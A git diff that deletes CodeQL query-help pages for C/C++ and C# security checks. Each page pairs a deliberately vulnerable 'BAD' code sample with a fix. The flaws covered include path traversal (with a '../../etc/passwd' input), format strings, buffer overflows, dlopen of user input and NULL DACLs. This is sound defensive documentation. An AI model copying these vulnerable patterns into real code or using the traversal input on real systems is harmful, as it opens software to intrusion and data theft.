- -## References -* The CERT Oracle Secure Coding Standard for C: [INT04-C. Enforce limits on integer values originating from tainted sources](https://www.securecoding.cert.org/confluence/display/c/INT04-C.+Enforce+limits+on+integer+values+originating+from+tainted+sources). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedCondition.md b/docs/language/query-help/cpp/TaintedCondition.md deleted file mode 100644 index d948d658d14..00000000000 --- a/docs/language/query-help/cpp/TaintedCondition.md +++ /dev/null @@ -1,45 +0,0 @@ -# Untrusted input for a condition - -``` -ID: cpp/tainted-permissions-check -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-807 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-807/TaintedCondition.ql) - -This rule finds code where untrusted inputs are used in an `if` statement, and the body of that statement makes a security decision. This is an example of CWE-807 and makes the program vulnerable to attack. An attacker might be able to gain unauthorized access to the system by manipulating external inputs to the system. - - -## Recommendation -In most cases, you need to add or strengthen the checks made on the user-supplied data to ensure its integrity. The user-supplied data can then be used as a trusted input to the security decision. For example, instead of checking an HTTP cookie against a predictable fixed string, check a cookie against a randomly generated session key. - -This rule may highlight a few conditions where user-supplied data has been checked and can be trusted. It is not always possible to determine if the checks applied to data are enough to ensure security. - - -## Example -The following example is included in CWE 807. - - -```c -struct hostent *hp;struct in_addr myaddr; -char* tHost = "trustme.example.com"; -myaddr.s_addr=inet_addr(ip_addr_string); - -hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET); -if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) { - trusted = true; -} else { - trusted = false; -} - -``` -In this example, the result of a reverse DNS query is compared against a fixed string. An attacker can return an incorrect reverse DNS entry for the requesting IP and thus gain the same access as a legitimate user from `trustme.example.com`. - -To fix the problem in this example, you need to add an additional mechanism to test the user-supplied data. For example, numeric IP addresses could be used. - - -## References -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedPath.md b/docs/language/query-help/cpp/TaintedPath.md deleted file mode 100644 index 552c4bae0ca..00000000000 --- a/docs/language/query-help/cpp/TaintedPath.md +++ /dev/null @@ -1,61 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: cpp/path-injection -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-022/TaintedPath.ql) - -Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the filesystem. - - -## Recommendation -Validate user input before using it to construct a filepath. Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the filesystem). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". -* Ideally use a whitelist of known good patterns. - -## Example -In this example, a username and file are read from the arguments to main and then used to access a file in the user's home directory. However, a malicious user could enter a filename which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This could potentially allow them to access all the system's passwords. - - -```c -int main(int argc, char** argv) { - char *userAndFile = argv[2]; - - { - char fileBuffer[FILENAME_MAX] = "/home/"; - char *fileName = fileBuffer; - size_t len = strlen(fileName); - strncat(fileName+len, userAndFile, FILENAME_MAX-len-1); - // BAD: a string from the user is used in a filename - fopen(fileName, "wb+"); - } - - { - char fileBuffer[FILENAME_MAX] = "/home/"; - char *fileName = fileBuffer; - size_t len = strlen(fileName); - // GOOD: use a fixed file - char* fixed = "jim/file.txt"; - strncat(fileName+len, fixed, FILENAME_MAX-len-1); - fopen(fileName, "wb+"); - } -} - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TooFewArguments.md b/docs/language/query-help/cpp/TooFewArguments.md deleted file mode 100644 index 42d00e6e211..00000000000 --- a/docs/language/query-help/cpp/TooFewArguments.md +++ /dev/null @@ -1,42 +0,0 @@ -# Call to function with fewer arguments than declared parameters - -``` -ID: cpp/too-few-arguments -Kind: problem -Severity: error -Precision: very-high -Tags: correctness maintainability security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Underspecified%20Functions/TooFewArguments.ql) - -A function is called with fewer arguments than there are parameters of the function. - -This may indicate that an incorrect function is being called, or that the signature (parameter list) of the called function is not known to the author. - -In C, function calls generally need to provide the same number of arguments as there are arguments to the function. (Variadic functions can accept additional arguments.) Providing fewer arguments than there are parameters is extremely dangerous, as the called function will nevertheless try to obtain the missing arguments' values, either from the stack or from machine registers. As a result, the function may behave unpredictably. - -If the called function *modifies* a parameter corresponding to a missing argument, it may alter the state of the program upon its return. An attacker could use this to, for example, alter the control flow of the program to access forbidden resources. - - -## Recommendation -Call the function with the correct number of arguments. - - -## Example - -```c -void one_argument(); - -void calls() { - one_argument(1); // GOOD: `one_argument` will accept and use the argument - - one_argument(); // BAD: `one_argument` will receive an undefined value -} - -void one_argument(int x); - -``` - -## References -* SEI CERT C Coding Standard: [ DCL20-C. Explicitly specify void when a function accepts no arguments ](https://wiki.sei.cmu.edu/confluence/display/c/DCL20-C.+Explicitly+specify+void+when+a+function+accepts+no+arguments) \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnboundedWrite.md b/docs/language/query-help/cpp/UnboundedWrite.md deleted file mode 100644 index 70b2f98e2df..00000000000 --- a/docs/language/query-help/cpp/UnboundedWrite.md +++ /dev/null @@ -1,42 +0,0 @@ -# Unbounded write - -``` -ID: cpp/unbounded-write -Kind: path-problem -Severity: error -Precision: medium -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/UnboundedWrite.ql) - -The program performs a buffer copy or write operation with no upper limit on the size of the copy. An unexpectedly long input that reaches this code will cause the buffer to overflow. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. - - -## Recommendation -Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf` etc. In general 'n-variant' functions should be preferred. - - -## Example - -```c -void congratulateUser(const char *userName) -{ - char buffer[80]; - - // BAD: this could overflow the buffer if the UserName is long - sprintf(buffer, "Congratulations, %s!", userName); - - MessageBox(hWnd, buffer, "New Message", MB_OK); -} -``` -In this example, the call to `sprintf` may overflow `buffer`. This occurs if the argument `userName` is very long, such that the resulting string is more than the 80 characters allowed. - -To fix the problem the call to `sprintf` should be replaced with `snprintf`, specifying a maximum length of 80 characters. - - -## References -* CERT C++ Coding Standard: [STR50-CPP. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/cplusplus/STR50-CPP.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). -* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledFormatString.md b/docs/language/query-help/cpp/UncontrolledFormatString.md deleted file mode 100644 index 5a9f830019c..00000000000 --- a/docs/language/query-help/cpp/UncontrolledFormatString.md +++ /dev/null @@ -1,45 +0,0 @@ -# Uncontrolled format string - -``` -ID: cpp/tainted-format-string -Kind: path-problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatString.ql) - -The program uses input from the user as a format string for `printf` style functions. This can lead to buffer overflows or data representation problems. An attacker can exploit this weakness to crash the program, disclose information or even execute arbitrary code. - -The results of this rule do not include inputs from the user that are transferred through global variables. Those can be found in the related rule "Uncontrolled format string (through global variable)". - - -## Recommendation -Use constant expressions as the format strings. If you need to print a value from the user, use `printf("%s", value_from_user)`. - - -## Example - -```c -#include - -void printWrapper(char *str) { - printf(str); -} - -int main(int argc, char **argv) { - // This should be avoided - printf(argv[1]); - - // This should be avoided too, because it has the same effect - printWrapper(argv[1]); - - // This is fine - printf("%s", argv[1]); -} -``` - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md b/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md deleted file mode 100644 index 5191c3edec4..00000000000 --- a/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md +++ /dev/null @@ -1,56 +0,0 @@ -# Uncontrolled format string (through global variable) - -``` -ID: cpp/tainted-format-string-through-global -Kind: path-problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatStringThroughGlobalVar.ql) - -The program uses input from the user, propagated via a global variable, as a format string for `printf` style functions. This can lead to buffer overflows or data representation problems. An attacker can exploit this weakness to crash the program, disclose information or even execute arbitrary code. - -This rule only identifies inputs from the user that are transferred through global variables before being used in `printf` style functions. Analyzing the flow of data through global variables is more prone to errors and so this rule may identify some examples of code where the input is not really from the user. For example, when a global variable is set in two places, one that comes from the user and one that does not. In this case we would mark all usages of the global variable as input from the user, but the input from the user may always came after the call to the `printf` style functions. - -The results of this rule should be considered alongside the related rule "Uncontrolled format string" which tracks the flow of the values input by a user, excluding global variables, until the values are used as the format argument for a `printf` like function call. - - -## Recommendation -Use constant expressions as the format strings. If you need to print a value from the user, use `printf("%s", value_from_user)`. - - -## Example - -```c -#include - -char *copy; - -void copyArgv(char **argv) { - copy = argv[1]; -} - -void printWrapper(char *str) { - printf(str); -} - -int main(int argc, char **argv) { - copyArgv(argv); - - // This should be avoided - printf(copy); - - // This should be avoided too, because it has the same effect - printWrapper(copy); - - // This is fine - printf("%s", copy); -} - -``` - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledProcessOperation.md b/docs/language/query-help/cpp/UncontrolledProcessOperation.md deleted file mode 100644 index 56896c33bd3..00000000000 --- a/docs/language/query-help/cpp/UncontrolledProcessOperation.md +++ /dev/null @@ -1,46 +0,0 @@ -# Uncontrolled process operation - -``` -ID: cpp/uncontrolled-process-operation -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-114 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-114/UncontrolledProcessOperation.ql) - -The code passes user input directly to `system`, `dlopen`, `LoadLibrary` or some other process or library routine. As a result, the user can cause execution of arbitrary code. - - -## Recommendation -If possible, use hard-coded string literals for the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user-input string is safe before using it. - - -## Example - -```c -int main(int argc, char** argv) { - char *lib = argv[2]; - - // BAD: the user can cause arbitrary code to be loaded - void* handle = dlopen(lib, RTLD_LAZY); - - // GOOD: only hard-coded libraries can be loaded - void* handle2; - - if (!strcmp(lib, "inmem")) { - handle2 = dlopen("/usr/share/dbwrap/inmem", RTLD_LAZY); - } else if (!strcmp(lib, "mysql")) { - handle2 = dlopen("/usr/share/dbwrap/mysql", RTLD_LAZY); - } else { - die("Invalid library specified\n"); - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-114](https://cwe.mitre.org/data/definitions/114.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UninitializedLocal.md b/docs/language/query-help/cpp/UninitializedLocal.md deleted file mode 100644 index 41a3c38e030..00000000000 --- a/docs/language/query-help/cpp/UninitializedLocal.md +++ /dev/null @@ -1,61 +0,0 @@ -# Potentially uninitialized local variable - -``` -ID: cpp/uninitialized-local -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-665 external/cwe/cwe-457 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/UninitializedLocal.ql) - -A local non-static variable of a non-class type has an undefined value before it is initialized. For example, it is incorrect to rely on an uninitialized integer to have the value `0`. - - -## Recommendation -Review the code and consider whether the variable should have an initializer or whether some path through the program lacks an assignment to the variable. - - -## Example -The function `absWrong` does not initialize the variable `j` in the case where `i = 0`. Functions `absCorrect1` and `absCorrect2` remedy this deficiency by adding an initializer and adding an assignment to one of the paths through the program, respectively. - - -```cpp -int absWrong(int i) { - int j; - if (i > 0) { - j = i; - } else if (i < 0) { - j = -i; - } - return j; // wrong: j may not be initialized before use -} - -int absCorrect1(int i) { - int j = 0; - if (i > 0) { - j = i; - } else if (i < 0) { - j = -i; - } - return j; // correct: j always initialized before use -} - -int absCorrect2(int i) { - int j; - if (i > 0) { - j = i; - } else if (i < 0) { - j = -i; - } else { - j = 0; - } - return j; // correct: j always initialized before use -} -``` - -## References -* ISO/IEC 9899:2011: [Programming languages - C (Section 6.3.2.1)](https://www.iso.org/standard/57853.html). -* Common Weakness Enumeration: [CWE-665](https://cwe.mitre.org/data/definitions/665.html). -* Common Weakness Enumeration: [CWE-457](https://cwe.mitre.org/data/definitions/457.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeCreateProcessCall.md b/docs/language/query-help/cpp/UnsafeCreateProcessCall.md deleted file mode 100644 index cf9b2e4d3a6..00000000000 --- a/docs/language/query-help/cpp/UnsafeCreateProcessCall.md +++ /dev/null @@ -1,53 +0,0 @@ -# NULL application name with an unquoted path in call to CreateProcess - -``` -ID: cpp/unsafe-create-process-call -Kind: problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-428 external/microsoft/C6277 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-428/UnsafeCreateProcessCall.ql) - -This query indicates that there is a call to a function of the `CreateProcess*` family of functions, which introduces a security vulnerability. - - -## Recommendation -Do not use `NULL` for the `lpApplicationName` argument to the `CreateProcess*` function. - -If you pass `NULL` for `lpApplicationName`, use quotation marks around the executable path in `lpCommandLine`. - - -## Example -In the following example, `CreateProcessW` is called with a `NULL` value for `lpApplicationName`, and the value for `lpCommandLine` that represent the application path is not quoted and has spaces in it. - -If an attacker has access to the file system, they can elevate privileges by creating a file such as `C:\Program.exe` that will be executed instead of the intended application. - - -```cpp -STARTUPINFOW si; -PROCESS_INFORMATION pi; - -// ... - -CreateProcessW( // BUG - NULL, // lpApplicationName - (LPWSTR)L"C:\\Program Files\\MyApp", // lpCommandLine - NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); - -// ... -``` -To fix this issue, specify a valid string for `lpApplicationName`, or quote the path for `lpCommandLine`. For example: - -`(LPWSTR)L"\"C:\\Program Files\\MyApp\"", // lpCommandLine` - - -## References -* [CreateProcessA function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa) -* [CreateProcessW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessw) -* [CreateProcessAsUserA function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) -* [CreateProcessAsUserW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessasuserw) -* [CreateProcessWithLogonW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithlogonw) -* [CreateProcessWithTokenW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithtokenw) -* Common Weakness Enumeration: [CWE-428](https://cwe.mitre.org/data/definitions/428.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md b/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md deleted file mode 100644 index 03a0eace612..00000000000 --- a/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md +++ /dev/null @@ -1,52 +0,0 @@ -# Setting a DACL to NULL in a SECURITY_DESCRIPTOR - -``` -ID: cpp/unsafe-dacl-security-descriptor -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-732 external/microsoft/C6248 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.ql) - -This query indicates that a call is setting the DACL field in a `SECURITY_DESCRIPTOR` to null. - -When using `SetSecurityDescriptorDacl` to set a discretionary access control (DACL), setting the `bDaclPresent` argument to `TRUE` indicates the prescence of a DACL in the security description in the argument `pDacl`. - -When the `pDacl` parameter does not point to a DACL (i.e. it is `NULL`) and the `bDaclPresent` flag is `TRUE`, a `NULL DACL` is specified. - -A `NULL DACL` grants full access to any user who requests it; normal security checking is not performed with respect to the object. - - -## Recommendation -You should not use a `NULL DACL` with an object because any user can change the DACL and owner of the security descriptor. - - -## Example -In the following example, the call to `SetSecurityDescriptorDacl` is setting an unsafe DACL (`NULL DACL`) to the security descriptor. - - -```cpp -SECURITY_DESCRIPTOR pSD; -SECURITY_ATTRIBUTES SA; - -if (!InitializeSecurityDescriptor(&pSD, SECURITY_DESCRIPTOR_REVISION)) -{ - // error handling -} -if (!SetSecurityDescriptorDacl(&pSD, - TRUE, // bDaclPresent - this value indicates the presence of a DACL in the security descriptor - NULL, // pDacl - the pDacl parameter does not point to a DACL. All access will be allowed - FALSE)) -{ - // error handling -} - -``` -To fix this issue, `pDacl` argument should be a pointer to an `ACL` structure that specifies the DACL for the security descriptor. - - -## References -* [SetSecurityDescriptorDacl function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/securitybaseapi/nf-securitybaseapi-setsecuritydescriptordacl) -* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeUseOfStrcat.md b/docs/language/query-help/cpp/UnsafeUseOfStrcat.md deleted file mode 100644 index 733b08ec235..00000000000 --- a/docs/language/query-help/cpp/UnsafeUseOfStrcat.md +++ /dev/null @@ -1,43 +0,0 @@ -# Potentially unsafe use of strcat - -``` -ID: cpp/unsafe-strcat -Kind: problem -Severity: warning -Precision: medium -Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-120 external/cwe/cwe-251 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/UnsafeUseOfStrcat.ql) - -The standard library function `strcat` appends a source string to a target string. If you do not check the size of the source string then you cannot guarantee that appending the data to the target string will not cause a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -Check the highlighted function calls carefully to ensure that no buffer overflow is possible. For a more robust solution, consider adding explicit range checks or using the `strncat` function instead. - - -## Example - -```cpp -void f(char *s) { - char buf[80]; - strcpy(buf, "s: "); - strcat(buf, s); // wrong: buffer not checked before strcat -} - -void g(char *s) { - char buf[80]; - strcpy(buf, "s: "); - if(strlen(s) < 77) - strcat(buf, s); // correct: buffer size checked before strcat -} - -``` - -## References -* I. Gerg, *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7, no 4, 2005. -* M. Donaldson, *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnterminatedVarargsCall.md b/docs/language/query-help/cpp/UnterminatedVarargsCall.md deleted file mode 100644 index 62993a50d6d..00000000000 --- a/docs/language/query-help/cpp/UnterminatedVarargsCall.md +++ /dev/null @@ -1,59 +0,0 @@ -# Unterminated variadic call - -``` -ID: cpp/unterminated-variadic-call -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-121 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-121/UnterminatedVarargsCall.ql) - -The program calls a function that expects the variable argument list to be terminated with a sentinel value (typically NULL, 0 or -1). In this case, the sentinel value has been omitted as a final argument. This defect may result in incorrect behavior of the function and unintended stack memory access, leading to incorrect program results, instability, and even vulnerability to buffer overflow style attacks. - - -## Recommendation -Each description of a defect highlighted by this rule includes a suggested value for the terminator. Check that this value is correct, then add it to the end of the call. - - -## Example - -```cpp -#include - -void pushStrings(char *firstString, ...) -{ - va_list args; - char *arg; - - va_start(args, firstString); - - // process inputs, beginning with firstString, ending when NULL is reached - arg = firstString; - while (arg != NULL) - { - // push the string - pushString(arg); - - // move on to the next input - arg = va_arg(args, char *); - } - - va_end(args); -} - -void badFunction() -{ - pushStrings("hello", "world", NULL); // OK - - pushStrings("apple", "pear", "banana", NULL); // OK - - pushStrings("car", "bus", "train"); // BAD, not terminated with the expected NULL -} -``` -In this example, the third call to `pushStrings` is not correctly terminated. This call should be updated to include `NULL` as the fourth and final argument to this call. - - -## References -* Common Weakness Enumeration: [CWE-121](https://cwe.mitre.org/data/definitions/121.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WcharCharConversion.md b/docs/language/query-help/cpp/WcharCharConversion.md deleted file mode 100644 index 14898692d93..00000000000 --- a/docs/language/query-help/cpp/WcharCharConversion.md +++ /dev/null @@ -1,41 +0,0 @@ -# Cast from char* to wchar_t* - -``` -ID: cpp/incorrect-string-type-conversion -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-704 external/microsoft/c/c6276 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-704/WcharCharConversion.ql) - -This rule indicates a potentially incorrect cast from an byte string (`char *`) to a wide-character string (`wchar_t *`). - -This cast might yield strings that are not correctly terminated; including potential buffer overruns when using such strings with some dangerous APIs. - - -## Recommendation -Do not explicitly cast byte strings to wide-character strings. - -For string literals, prepend the literal string with the letter "L" to indicate that the string is a wide-character string (`wchar_t *`). - -For converting a byte literal to a wide-character string literal, you would need to use the appropriate conversion function for the platform you are using. Please see the references section for options according to your platform. - - -## Example -In the following example, an byte string literal (`"a"`) is cast to a wide-character string. - - -```cpp -wchar_t* pSrc; - -pSrc = (wchar_t*)"a"; // casting a byte-string literal "a" to a wide-character string -``` -To fix this issue, prepend the literal with the letter "L" (`L"a"`) to define it as a wide-character string. - - -## References -* General resources: [std::mbstowcs](https://en.cppreference.com/w/cpp/string/multibyte/mbstowcs) -* Microsoft specific resources: [Security Considerations: International Features](https://docs.microsoft.com/en-us/windows/desktop/Intl/security-considerations--international-features) -* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md b/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md deleted file mode 100644 index db070d6b9b8..00000000000 --- a/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md +++ /dev/null @@ -1,36 +0,0 @@ -# Too few arguments to formatting function - -``` -ID: cpp/wrong-number-format-arguments -Kind: problem -Severity: error -Precision: high -Tags: reliability correctness security external/cwe/cwe-685 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/WrongNumberOfFormatArguments.ql) - -Each call to the `printf` function, or a related function, should include the number of arguments defined by the format. Passing the function more arguments than required is harmless (although it may be indicative of other defects). However, passing the function fewer arguments than are defined by the format can be a security vulnerability since the function will process the next item on the stack as the missing arguments. - -This might lead to an information leak if a sensitive value from the stack is printed. It might cause a crash if a value on the stack is interpreted as a pointer and leads to accessing unmapped memory. Finally, it may lead to a follow-on vulnerability if an attacker can use this problem to cause the output string to be too long or have unexpected contents. - - -## Recommendation -Review the format and arguments expected by the highlighted function calls. Update either the format or the arguments so that the expected number of arguments are passed to the function. - - -## Example - -```cpp -int main() { - printf("%d, %s\n", 42); // Will crash or print garbage - return 0; -} - -``` - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* cplusplus.com: [C++ Functions](http://www.tutorialspoint.com/cplusplus/cpp_functions.htm). -* Microsoft C Runtime Library Reference: [printf, wprintf](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/printf-printf-l-wprintf-wprintf-l). -* Common Weakness Enumeration: [CWE-685](https://cwe.mitre.org/data/definitions/685.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WrongTypeFormatArguments.md b/docs/language/query-help/cpp/WrongTypeFormatArguments.md deleted file mode 100644 index 472eb3ef1a6..00000000000 --- a/docs/language/query-help/cpp/WrongTypeFormatArguments.md +++ /dev/null @@ -1,34 +0,0 @@ -# Wrong type of arguments to formatting function - -``` -ID: cpp/wrong-type-format-argument -Kind: problem -Severity: error -Precision: high -Tags: reliability correctness security external/cwe/cwe-686 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/WrongTypeFormatArguments.ql) - -Each call to the `printf` function or a related function should include the type and sequence of arguments defined by the format. If the function is passed arguments of a different type or in a different sequence then the arguments are reinterpreted to fit the type and sequence expected, resulting in unpredictable behavior. - - -## Recommendation -Review the format and arguments expected by the highlighted function calls. Update either the format or the arguments so that the expected type and sequence of arguments are passed to the function. - - -## Example - -```cpp -int main() { - printf("%s\n", 42); //printf will treat 42 as a char*, will most likely segfault - return 0; -} - -``` - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* cplusplus.com: [C++ Functions](http://www.tutorialspoint.com/cplusplus/cpp_functions.htm). -* MSDN Alphabetical Function Reference: [printf, wprintf](http://msdn.microsoft.com/en-us/library/wc7014hz%28VS.71%29.aspx). -* Common Weakness Enumeration: [CWE-686](https://cwe.mitre.org/data/definitions/686.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ASPNetDebug.md b/docs/language/query-help/csharp/ASPNetDebug.md deleted file mode 100644 index 9c3bdce1820..00000000000 --- a/docs/language/query-help/csharp/ASPNetDebug.md +++ /dev/null @@ -1,56 +0,0 @@ -# Creating an ASP.NET debug binary may reveal sensitive information - -``` -ID: cs/web/debug-binary -Kind: problem -Severity: warning -Precision: very-high -Tags: security maintainability frameworks/asp.net external/cwe/cwe-11 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-011/ASPNetDebug.ql) - -ASP.NET applications that deploy a 'debug' build to production can reveal debugging information to end users. This debugging information can aid a malicious user in attacking the system. The use of the debugging flag may also impair performance, increasing execution time and memory usage. - - -## Recommendation -Remove the 'debug' flag from the `Web.config` file if this configuration is likely to be used in production. - - -## Example -The following example shows the 'debug' flag set to true in a `Web.config` file for ASP.NET: - - -```none - - - - - ... - - -``` -This will produce a 'debug' build that may be exploited by an end user. - -To fix this problem, the 'debug' flag should be set to `false`, or removed completely: - - -```none - - - - - ... - - -``` - -## References -* MSDN: [Why debug=false in ASP.NET applications in production environment](https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/). -* MSDN: [How to: Enable Debugging for ASP.NET Applications](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx). -* Common Weakness Enumeration: [CWE-11](https://cwe.mitre.org/data/definitions/11.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ASPNetDirectoryListing.md b/docs/language/query-help/csharp/ASPNetDirectoryListing.md deleted file mode 100644 index 17c6cd89584..00000000000 --- a/docs/language/query-help/csharp/ASPNetDirectoryListing.md +++ /dev/null @@ -1,48 +0,0 @@ -# ASP.NET config file enables directory browsing - -``` -ID: cs/web/directory-browse-enabled -Kind: problem -Severity: warning -Precision: very-high -Tags: security external/cwe/cwe-548 - -``` -[Click to see the query in the CodeQL 